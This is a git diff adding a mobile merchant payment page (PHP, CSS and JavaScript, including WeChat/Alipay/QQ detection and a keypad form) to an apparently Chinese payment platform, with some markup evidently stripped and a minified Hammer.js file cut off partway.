url(data:image/png;base64,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); + background-size: 100%; + background-repeat: no-repeat; + left: 3px; + bottom: 6px; + width: 0.95rem; + height: 0.95rem; +} + +.modal { + display: none; + position: fixed; + z-index: 1; + left: 0; + top: 0; + height: 100%; + width: 100%; + background-color: rgba(0,0,0,0.4); + align-items: center; + justify-content: center; +} +.modal.show { + display: flex; + transition: opacity .5s linear; + opacity: 1; +} +.modal-content { + background-color: #fefefe; + margin: 50% auto; + border: 1px solid #888; + width: 80%; + border-radius: 7px; +} +.modal-header{ + display: flex; + position: sticky; + justify-content: space-between; + align-items: center; + padding: 15px; + color: #626262; + border-bottom: 1px solid #ddd; +} +.modal-body { + padding: 20px; +} +.modal-header .close { + color: #aaa; + position: absolute; + right: 15px; + font-size: 24px; + font-weight: bold; +} +.modal-header .close:hover, +.modal-header .close:focus { + color: black; + text-decoration: none; + cursor: pointer; +} +.modal-body textarea { + width: 100%; + padding: 10px; + border-radius: 5px; + border: 1px solid #ddd; + resize: none; +} +.modal-body button { + width: 100%; + padding: 10px; + margin-top: 10px; + border-radius: 5px; + border: none; + background-color: #007bff; + color: #fff; + cursor: pointer; +} +.modal-body .remark-tip{ + display: none; + color: red; + font-size: 12px; + margin-top: 5px; +} \ No newline at end of file diff --git a/paypage/error.php b/paypage/error.php new file mode 100644 index 0000000..857d806 --- /dev/null +++ b/paypage/error.php @@ -0,0 +1,40 @@ + + + + + 错误提示 + + + + +
    +
    +
    +
    + +
    +
    +

    +
    +
    +

    + 关闭 +

    +
    +
    + +
    +
    +
    +
    + + + + + \ No newline at end of file diff --git a/paypage/images/btn_clear.png b/paypage/images/btn_clear.png new file mode 100644 index 0000000..d0f7618 Binary files /dev/null and b/paypage/images/btn_clear.png differ diff --git a/paypage/images/clear.png b/paypage/images/clear.png new file mode 100644 index 0000000..5c4df5e Binary files /dev/null and b/paypage/images/clear.png differ diff --git a/paypage/images/icoSuccess.png b/paypage/images/icoSuccess.png new file mode 100644 index 0000000..fc99916 Binary files /dev/null and b/paypage/images/icoSuccess.png differ diff --git a/paypage/images/loading.gif b/paypage/images/loading.gif new file mode 100644 index 0000000..1720432 Binary files /dev/null and b/paypage/images/loading.gif differ diff --git a/paypage/images/sellerLogo.png b/paypage/images/sellerLogo.png new file mode 100644 index 0000000..c6d8804 Binary files /dev/null and b/paypage/images/sellerLogo.png differ diff --git a/paypage/inc.php b/paypage/inc.php new file mode 100644 index 0000000..057dd5c --- /dev/null +++ b/paypage/inc.php @@ -0,0 +1,55 @@ +-1, 'msg'=>$msg]; + exit(json_encode($result)); +} + +function check_paytype(){ + $type=null; + if(strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger/')!==false){ + $type='wxpay'; + }elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'AlipayClient/')!==false){ + $type='alipay'; + }elseif(strpos($_SERVER['HTTP_USER_AGENT'], 'QQ/')!==false){ + $type='qqpay'; + } + return $type; +} + +function alipayOpenId($channel){ + global $DB,$siteurl; + $channel = \lib\Channel::get($channel); + if(!$channel)showerror('支付通道不存在'); + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + try{ + [$user_type, $user_id] = alipay_oauth($alipay_config); + }catch(Exception $e){ + showerror($e->getMessage()); + } + return $user_id; +} + +function weixinOpenId($channel){ + global $DB; + $channel = \lib\Channel::get($channel); + if(!$channel)showerror('支付通道不存在'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo)showerror('支付通道绑定的微信公众号不存在'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openId = $tools->GetOpenid(); + }catch(Exception $e){ + showerror($e->getMessage()); + } + return $openId; +} diff --git a/paypage/index.php b/paypage/index.php new file mode 100644 index 0000000..f37fb3a --- /dev/null +++ b/paypage/index.php @@ -0,0 +1,231 @@ +getRow("SELECT `uid`,`gid`,`money`,`mode`,`pay`,`cert`,`status`,`username`,`channelinfo`,`qq`,`codename`,`deposit` FROM `pre_user` WHERE `uid`='{$uid}' LIMIT 1"); +if(!$userrow || $userrow['status']==0 || $userrow['pay']==0)showerror('当前商户不存在或已被封禁'); +if($userrow['pay']==2 && $conf['user_review']==1)showerror('商户没通过审核,请联系官方客服进行审核'); +$groupconfig = getGroupConfig($userrow['gid']); +$conf = array_merge($conf, $groupconfig); +if($conf['cert_force']==1 && $userrow['cert']==0){ + showerror('当前商户未完成实名认证,无法收款'); +} +if($conf['forceqq']==1 && empty($userrow['qq'])){ + showerror('当前商户未填写联系QQ,无法收款'); +} +if($conf['user_deposit']==1 && $conf['user_deposit_min'] > 0 && $conf['user_deposit_min'] > $userrow['deposit']){ + showerror('商户保证金不足,请前往支付平台充值保证金后再发起支付'); +} + +$_SESSION['paypage_uid'] = $uid; + +$direct = '0'; +$checktype = check_paytype(); +$type = isset($_GET['type'])?trim($_GET['type']):$checktype; +if($type){ + if((isset($_GET['code']) || isset($_GET['auth_code'])) && $_SESSION['paypage_channel']){ + $submitData = \lib\Channel::info($_SESSION['paypage_channel'], $userrow['gid']); + }else{ + $submitData = \lib\Channel::submit($type, $uid, $userrow['gid']); + $_SESSION['paypage_subchannel'] = $submitData['subchannel']; + } + $_SESSION['paypage_typeid'] = $submitData['typeid']; + $_SESSION['paypage_channel'] = $submitData['channel']; + $_SESSION['paypage_rate'] = $submitData['rate']; + $_SESSION['paypage_paymax'] = $submitData['paymax']; + $_SESSION['paypage_paymin'] = $submitData['paymin']; + $_SESSION['paypage_mode'] = $submitData['mode']; + + $apptype = explode(',',$submitData['apptype']); + if($checktype == 'alipay' && $type == 'alipay' && ($submitData['plugin']=='alipay' || $submitData['plugin']=='alipaysl' || $submitData['plugin']=='alipayd') && in_array('4',$apptype)){ + $openId = alipayOpenId($submitData['channel']); + $direct = '1'; + }elseif($checktype == 'wxpay' && $type == 'wxpay' && ($submitData['plugin']=='wxpay' || $submitData['plugin']=='wxpaysl' || $submitData['plugin']=='wxpayn' || $submitData['plugin']=='wxpaynp') && in_array('2',$apptype)){ + $openId = weixinOpenId($submitData['channel']); + $direct = '1'; + }elseif($checktype == 'qqpay' && $type == 'qqpay'&& $submitData['plugin']=='qqpay' && in_array('2',$apptype)){ + $direct = '1'; + } +} + +$money = isset($_GET['money'])?$_GET['money']:null; +if($money<=0 || !is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))$money = null; +$codename = !empty($userrow['codename'])?$userrow['codename']:$userrow['username']; +$csrf_token = md5(mt_rand(0,999).time()); +$_SESSION['paypage_token'] = $csrf_token; +?> + + + 向商户付款 + + + + + + + + + + +
    + + +
    +
    + + + + + + + +
    +
    +
    + + + + + + + +
    +
    请输入付款金额
    +
    + ¥ + + + + + +
    + +
    +
    +
    +
    + 备注: + +
    +
    +
    + +
    + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + +
    123
    456确认支付
    789
    0.
    +
    + +
    + + + + + + + + + \ No newline at end of file diff --git a/paypage/js/close.js b/paypage/js/close.js new file mode 100644 index 0000000..b1bf78b --- /dev/null +++ b/paypage/js/close.js @@ -0,0 +1,36 @@ +if(navigator.userAgent.indexOf("AlipayClient/") > -1){ + function Alipayready(callback) { + if (window.AlipayJSBridge) { + callback && callback(); + } else { + document.addEventListener('AlipayJSBridgeReady', callback, false); + } + } + Alipayready(function(){ + $('#Close').click(function() { + AlipayJSBridge.call('popWindow'); + }); + }) +}else if(navigator.userAgent.indexOf("MicroMessenger/") > -1){ + if (typeof WeixinJSBridge == "undefined") { + if (document.addEventListener) { + document.addEventListener('WeixinJSBridgeReady', jsApiCall, false); + } else if (document.attachEvent) { + document.attachEvent('WeixinJSBridgeReady', jsApiCall); + document.attachEvent('onWeixinJSBridgeReady', jsApiCall); + } + } else { + jsApiCall(); + } + function jsApiCall() { + $('#Close').click(function() { + WeixinJSBridge.call('closeWindow'); + }); + } +}else if(navigator.userAgent.indexOf("QQ/") > -1){ + $('#Close').hide(); +}else { + $('#Close').click(function() { + window.opener=null;window.close(); + }); +} \ No newline at end of file diff --git a/paypage/js/common.js b/paypage/js/common.js new file mode 100644 index 0000000..dc84090 --- /dev/null +++ b/paypage/js/common.js @@ -0,0 +1,122 @@ +function getId(value){ + return document.getElementById(value); +} + +//ajax post +function Post(option){ + var url = option.url || ""; + var data = (function(){ + var text = ''; + if(option.data && option.data.constructor == Object){ + var arr = []; + for(var key in option.data){ + arr.push(key+'='+option.data[key]); + } + text = arr.join('&'); + } + return text; + })(); + var toJson = option.dataType == 'text' ? false : true; + var success = option.success || function(){}; + var error = option.error || function(){}; + var timeout = option.timeout || 30000; + var isTimeout = false; + var http = new XMLHttpRequest(); + var timer = setTimeout(function(){ + isTimeout = true; + http.abort(); + error(); + },timeout); + http.open("POST",url,true); + http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + http.onreadystatechange = function(){ + if(http.readyState != 4 || isTimeout){return;} + clearTimeout(timer); + if(http.status == 200){ + var response = toJson ? JSON.parse(http.responseText) : http.responseText; + success(response); + }else{ + error(); + } + }; + http.send(data); +} + +//loading +function Loading(){ + var obj = document.createElement('div'); + var box = document.createElement('div'); + var img = document.createElement('div'); + var txt = document.createElement('p'); + + obj.className = 'circle-box none'; + box.className = 'circle_animate'; + img.className = 'circle'; + box.appendChild(img); + box.appendChild(txt); + obj.appendChild(box); + if(script){ + script.parentNode.insertBefore(obj,script); + }else{ + document.body.appendChild(obj); + } + + this.show = function(value){ + txt.innerHTML = value || '加载中...'; + obj.classList.remove('none'); + }; + + this.hide = function(){ + obj.classList.add('none'); + txt.innerHTML = ''; + }; +} + +//tips +function Tips(){ + var obj = document.createElement('div'); + var box = document.createElement('div'); + var con = document.createElement('div'); + var txt = document.createElement('div'); + var p = document.createElement('p'); + var btnBox = document.createElement('p'); + var btn = document.createElement('span'); + + obj.className = 'pop_wrapper none'; + box.className = 'pop_outer'; + con.className = 'pop_cont'; + txt.className = 'pop_tip'; + p.className = 'border b_top'; + btnBox.className = 'pop_wbtn'; + btn.className='pop_btn' + + btn.innerHTML = '我知道了'; + + p.appendChild(btn); + con.appendChild(txt); + con.appendChild(p); + box.appendChild(con); + obj.appendChild(box); + if(script){ + script.parentNode.insertBefore(obj,script); + }else{ + document.body.appendChild(obj); + } + + function hideFun(){ + obj.classList.add('none'); + } + + this.show = function(value,callback){ + var fun = callback || hideFun; + txt.innerHTML = value || ' '; + p.onclick = callback || hideFun; + obj.classList.remove('none'); + }; + + this.hide = hideFun; +} + +document.body.addEventListener('touchstart',function(){},false); +var script = document.body.getElementsByTagName('script')[0]; +var loading = new Loading(); \ No newline at end of file diff --git a/paypage/js/hammer.js b/paypage/js/hammer.js new file mode 100644 index 0000000..edadee1 --- /dev/null +++ b/paypage/js/hammer.js @@ -0,0 +1,7 @@ +/*! Hammer.JS - v2.0.8 - 2016-04-23 + * http://hammerjs.github.io/ + * + * Copyright (c) 2016 Jorik Tangelder; + * Licensed under the MIT license */ +!function(a,b,c,d){"use strict";function e(a,b,c){return setTimeout(j(a,c),b)}function f(a,b,c){return Array.isArray(a)?(g(a,c[b],c),!0):!1}function g(a,b,c){var e;if(a)if(a.forEach)a.forEach(b,c);else if(a.length!==d)for(e=0;e\s*\(/gm,"{anonymous}()@"):"Unknown Stack Trace",f=a.console&&(a.console.warn||a.console.log);return f&&f.call(a.console,e,d),b.apply(this,arguments)}}function i(a,b,c){var d,e=b.prototype;d=a.prototype=Object.create(e),d.constructor=a,d._super=e,c&&la(d,c)}function j(a,b){return function(){return a.apply(b,arguments)}}function k(a,b){return typeof a==oa?a.apply(b?b[0]||d:d,b):a}function l(a,b){return a===d?b:a}function m(a,b,c){g(q(b),function(b){a.addEventListener(b,c,!1)})}function n(a,b,c){g(q(b),function(b){a.removeEventListener(b,c,!1)})}function o(a,b){for(;a;){if(a==b)return!0;a=a.parentNode}return!1}function p(a,b){return a.indexOf(b)>-1}function q(a){return a.trim().split(/\s+/g)}function r(a,b,c){if(a.indexOf&&!c)return a.indexOf(b);for(var d=0;dc[b]}):d.sort()),d}function u(a,b){for(var c,e,f=b[0].toUpperCase()+b.slice(1),g=0;g1&&!c.firstMultiple?c.firstMultiple=D(b):1===e&&(c.firstMultiple=!1);var f=c.firstInput,g=c.firstMultiple,h=g?g.center:f.center,i=b.center=E(d);b.timeStamp=ra(),b.deltaTime=b.timeStamp-f.timeStamp,b.angle=I(h,i),b.distance=H(h,i),B(c,b),b.offsetDirection=G(b.deltaX,b.deltaY);var j=F(b.deltaTime,b.deltaX,b.deltaY);b.overallVelocityX=j.x,b.overallVelocityY=j.y,b.overallVelocity=qa(j.x)>qa(j.y)?j.x:j.y,b.scale=g?K(g.pointers,d):1,b.rotation=g?J(g.pointers,d):0,b.maxPointers=c.prevInput?b.pointers.length>c.prevInput.maxPointers?b.pointers.length:c.prevInput.maxPointers:b.pointers.length,C(c,b);var k=a.element;o(b.srcEvent.target,k)&&(k=b.srcEvent.target),b.target=k}function B(a,b){var c=b.center,d=a.offsetDelta||{},e=a.prevDelta||{},f=a.prevInput||{};b.eventType!==Ea&&f.eventType!==Ga||(e=a.prevDelta={x:f.deltaX||0,y:f.deltaY||0},d=a.offsetDelta={x:c.x,y:c.y}),b.deltaX=e.x+(c.x-d.x),b.deltaY=e.y+(c.y-d.y)}function C(a,b){var c,e,f,g,h=a.lastInterval||b,i=b.timeStamp-h.timeStamp;if(b.eventType!=Ha&&(i>Da||h.velocity===d)){var j=b.deltaX-h.deltaX,k=b.deltaY-h.deltaY,l=F(i,j,k);e=l.x,f=l.y,c=qa(l.x)>qa(l.y)?l.x:l.y,g=G(j,k),a.lastInterval=b}else c=h.velocity,e=h.velocityX,f=h.velocityY,g=h.direction;b.velocity=c,b.velocityX=e,b.velocityY=f,b.direction=g}function D(a){for(var b=[],c=0;ce;)c+=a[e].clientX,d+=a[e].clientY,e++;return{x:pa(c/b),y:pa(d/b)}}function F(a,b,c){return{x:b/a||0,y:c/a||0}}function G(a,b){return a===b?Ia:qa(a)>=qa(b)?0>a?Ja:Ka:0>b?La:Ma}function H(a,b,c){c||(c=Qa);var d=b[c[0]]-a[c[0]],e=b[c[1]]-a[c[1]];return Math.sqrt(d*d+e*e)}function I(a,b,c){c||(c=Qa);var d=b[c[0]]-a[c[0]],e=b[c[1]]-a[c[1]];return 180*Math.atan2(e,d)/Math.PI}function J(a,b){return I(b[1],b[0],Ra)+I(a[1],a[0],Ra)}function K(a,b){return H(b[0],b[1],Ra)/H(a[0],a[1],Ra)}function L(){this.evEl=Ta,this.evWin=Ua,this.pressed=!1,x.apply(this,arguments)}function M(){this.evEl=Xa,this.evWin=Ya,x.apply(this,arguments),this.store=this.manager.session.pointerEvents=[]}function N(){this.evTarget=$a,this.evWin=_a,this.started=!1,x.apply(this,arguments)}function O(a,b){var c=s(a.touches),d=s(a.changedTouches);return b&(Ga|Ha)&&(c=t(c.concat(d),"identifier",!0)),[c,d]}function P(){this.evTarget=bb,this.targetIds={},x.apply(this,arguments)}function Q(a,b){var c=s(a.touches),d=this.targetIds;if(b&(Ea|Fa)&&1===c.length)return d[c[0].identifier]=!0,[c,c];var e,f,g=s(a.changedTouches),h=[],i=this.target;if(f=c.filter(function(a){return o(a.target,i)}),b===Ea)for(e=0;e-1&&d.splice(a,1)};setTimeout(e,cb)}}function U(a){for(var b=a.srcEvent.clientX,c=a.srcEvent.clientY,d=0;d=f&&db>=g)return!0}return!1}function V(a,b){this.manager=a,this.set(b)}function W(a){if(p(a,jb))return jb;var b=p(a,kb),c=p(a,lb);return b&&c?jb:b||c?b?kb:lb:p(a,ib)?ib:hb}function X(){if(!fb)return!1;var b={},c=a.CSS&&a.CSS.supports;return["auto","manipulation","pan-y","pan-x","pan-x pan-y","none"].forEach(function(d){b[d]=c?a.CSS.supports("touch-action",d):!0}),b}function Y(a){this.options=la({},this.defaults,a||{}),this.id=v(),this.manager=null,this.options.enable=l(this.options.enable,!0),this.state=nb,this.simultaneous={},this.requireFail=[]}function Z(a){return a&sb?"cancel":a&qb?"end":a&pb?"move":a&ob?"start":""}function $(a){return a==Ma?"down":a==La?"up":a==Ja?"left":a==Ka?"right":""}function _(a,b){var c=b.manager;return c?c.get(a):a}function aa(){Y.apply(this,arguments)}function ba(){aa.apply(this,arguments),this.pX=null,this.pY=null}function ca(){aa.apply(this,arguments)}function da(){Y.apply(this,arguments),this._timer=null,this._input=null}function ea(){aa.apply(this,arguments)}function fa(){aa.apply(this,arguments)}function ga(){Y.apply(this,arguments),this.pTime=!1,this.pCenter=!1,this._timer=null,this._input=null,this.count=0}function ha(a,b){return b=b||{},b.recognizers=l(b.recognizers,ha.defaults.preset),new ia(a,b)}function ia(a,b){this.options=la({},ha.defaults,b||{}),this.options.inputTarget=this.options.inputTarget||a,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=a,this.input=y(this),this.touchAction=new V(this,this.options.touchAction),ja(this,!0),g(this.options.recognizers,function(a){var b=this.add(new a[0](a[1]));a[2]&&b.recognizeWith(a[2]),a[3]&&b.requireFailure(a[3])},this)}function ja(a,b){var c=a.element;if(c.style){var d;g(a.options.cssProps,function(e,f){d=u(c.style,f),b?(a.oldCssProps[d]=c.style[d],c.style[d]=e):c.style[d]=a.oldCssProps[d]||""}),b||(a.oldCssProps={})}}function ka(a,c){var d=b.createEvent("Event");d.initEvent(a,!0,!0),d.gesture=c,c.target.dispatchEvent(d)}var la,ma=["","webkit","Moz","MS","ms","o"],na=b.createElement("div"),oa="function",pa=Math.round,qa=Math.abs,ra=Date.now;la="function"!=typeof Object.assign?function(a){if(a===d||null===a)throw new TypeError("Cannot convert undefined or null to object");for(var b=Object(a),c=1;ch&&(b.push(a),h=b.length-1):e&(Ga|Ha)&&(c=!0),0>h||(b[h]=a,this.callback(this.manager,e,{pointers:b,changedPointers:[a],pointerType:f,srcEvent:a}),c&&b.splice(h,1))}});var Za={touchstart:Ea,touchmove:Fa,touchend:Ga,touchcancel:Ha},$a="touchstart",_a="touchstart touchmove touchend touchcancel";i(N,x,{handler:function(a){var b=Za[a.type];if(b===Ea&&(this.started=!0),this.started){var c=O.call(this,a,b);b&(Ga|Ha)&&c[0].length-c[1].length===0&&(this.started=!1),this.callback(this.manager,b,{pointers:c[0],changedPointers:c[1],pointerType:za,srcEvent:a})}}});var ab={touchstart:Ea,touchmove:Fa,touchend:Ga,touchcancel:Ha},bb="touchstart touchmove touchend touchcancel";i(P,x,{handler:function(a){var b=ab[a.type],c=Q.call(this,a,b);c&&this.callback(this.manager,b,{pointers:c[0],changedPointers:c[1],pointerType:za,srcEvent:a})}});var cb=2500,db=25;i(R,x,{handler:function(a,b,c){var d=c.pointerType==za,e=c.pointerType==Ba;if(!(e&&c.sourceCapabilities&&c.sourceCapabilities.firesTouchEvents)){if(d)S.call(this,b,c);else if(e&&U.call(this,c))return;this.callback(a,b,c)}},destroy:function(){this.touch.destroy(),this.mouse.destroy()}});var eb=u(na.style,"touchAction"),fb=eb!==d,gb="compute",hb="auto",ib="manipulation",jb="none",kb="pan-x",lb="pan-y",mb=X();V.prototype={set:function(a){a==gb&&(a=this.compute()),fb&&this.manager.element.style&&mb[a]&&(this.manager.element.style[eb]=a),this.actions=a.toLowerCase().trim()},update:function(){this.set(this.manager.options.touchAction)},compute:function(){var a=[];return g(this.manager.recognizers,function(b){k(b.options.enable,[b])&&(a=a.concat(b.getTouchAction()))}),W(a.join(" "))},preventDefaults:function(a){var b=a.srcEvent,c=a.offsetDirection;if(this.manager.session.prevented)return void b.preventDefault();var d=this.actions,e=p(d,jb)&&!mb[jb],f=p(d,lb)&&!mb[lb],g=p(d,kb)&&!mb[kb];if(e){var h=1===a.pointers.length,i=a.distance<2,j=a.deltaTime<250;if(h&&i&&j)return}return g&&f?void 0:e||f&&c&Na||g&&c&Oa?this.preventSrc(b):void 0},preventSrc:function(a){this.manager.session.prevented=!0,a.preventDefault()}};var nb=1,ob=2,pb=4,qb=8,rb=qb,sb=16,tb=32;Y.prototype={defaults:{},set:function(a){return la(this.options,a),this.manager&&this.manager.touchAction.update(),this},recognizeWith:function(a){if(f(a,"recognizeWith",this))return this;var b=this.simultaneous;return a=_(a,this),b[a.id]||(b[a.id]=a,a.recognizeWith(this)),this},dropRecognizeWith:function(a){return f(a,"dropRecognizeWith",this)?this:(a=_(a,this),delete this.simultaneous[a.id],this)},requireFailure:function(a){if(f(a,"requireFailure",this))return this;var b=this.requireFail;return a=_(a,this),-1===r(b,a)&&(b.push(a),a.requireFailure(this)),this},dropRequireFailure:function(a){if(f(a,"dropRequireFailure",this))return this;a=_(a,this);var b=r(this.requireFail,a);return b>-1&&this.requireFail.splice(b,1),this},hasRequireFailures:function(){return this.requireFail.length>0},canRecognizeWith:function(a){return!!this.simultaneous[a.id]},emit:function(a){function b(b){c.manager.emit(b,a)}var c=this,d=this.state;qb>d&&b(c.options.event+Z(d)),b(c.options.event),a.additionalEvent&&b(a.additionalEvent),d>=qb&&b(c.options.event+Z(d))},tryEmit:function(a){return this.canEmit()?this.emit(a):void(this.state=tb)},canEmit:function(){for(var a=0;af?Ja:Ka,c=f!=this.pX,d=Math.abs(a.deltaX)):(e=0===g?Ia:0>g?La:Ma,c=g!=this.pY,d=Math.abs(a.deltaY))),a.direction=e,c&&d>b.threshold&&e&b.direction},attrTest:function(a){return aa.prototype.attrTest.call(this,a)&&(this.state&ob||!(this.state&ob)&&this.directionTest(a))},emit:function(a){this.pX=a.deltaX,this.pY=a.deltaY;var b=$(a.direction);b&&(a.additionalEvent=this.options.event+b),this._super.emit.call(this,a)}}),i(ca,aa,{defaults:{event:"pinch",threshold:0,pointers:2},getTouchAction:function(){return[jb]},attrTest:function(a){return this._super.attrTest.call(this,a)&&(Math.abs(a.scale-1)>this.options.threshold||this.state&ob)},emit:function(a){if(1!==a.scale){var b=a.scale<1?"in":"out";a.additionalEvent=this.options.event+b}this._super.emit.call(this,a)}}),i(da,Y,{defaults:{event:"press",pointers:1,time:251,threshold:9},getTouchAction:function(){return[hb]},process:function(a){var b=this.options,c=a.pointers.length===b.pointers,d=a.distanceb.time;if(this._input=a,!d||!c||a.eventType&(Ga|Ha)&&!f)this.reset();else if(a.eventType&Ea)this.reset(),this._timer=e(function(){this.state=rb,this.tryEmit()},b.time,this);else if(a.eventType&Ga)return rb;return tb},reset:function(){clearTimeout(this._timer)},emit:function(a){this.state===rb&&(a&&a.eventType&Ga?this.manager.emit(this.options.event+"up",a):(this._input.timeStamp=ra(),this.manager.emit(this.options.event,this._input)))}}),i(ea,aa,{defaults:{event:"rotate",threshold:0,pointers:2},getTouchAction:function(){return[jb]},attrTest:function(a){return this._super.attrTest.call(this,a)&&(Math.abs(a.rotation)>this.options.threshold||this.state&ob)}}),i(fa,aa,{defaults:{event:"swipe",threshold:10,velocity:.3,direction:Na|Oa,pointers:1},getTouchAction:function(){return ba.prototype.getTouchAction.call(this)},attrTest:function(a){var b,c=this.options.direction;return 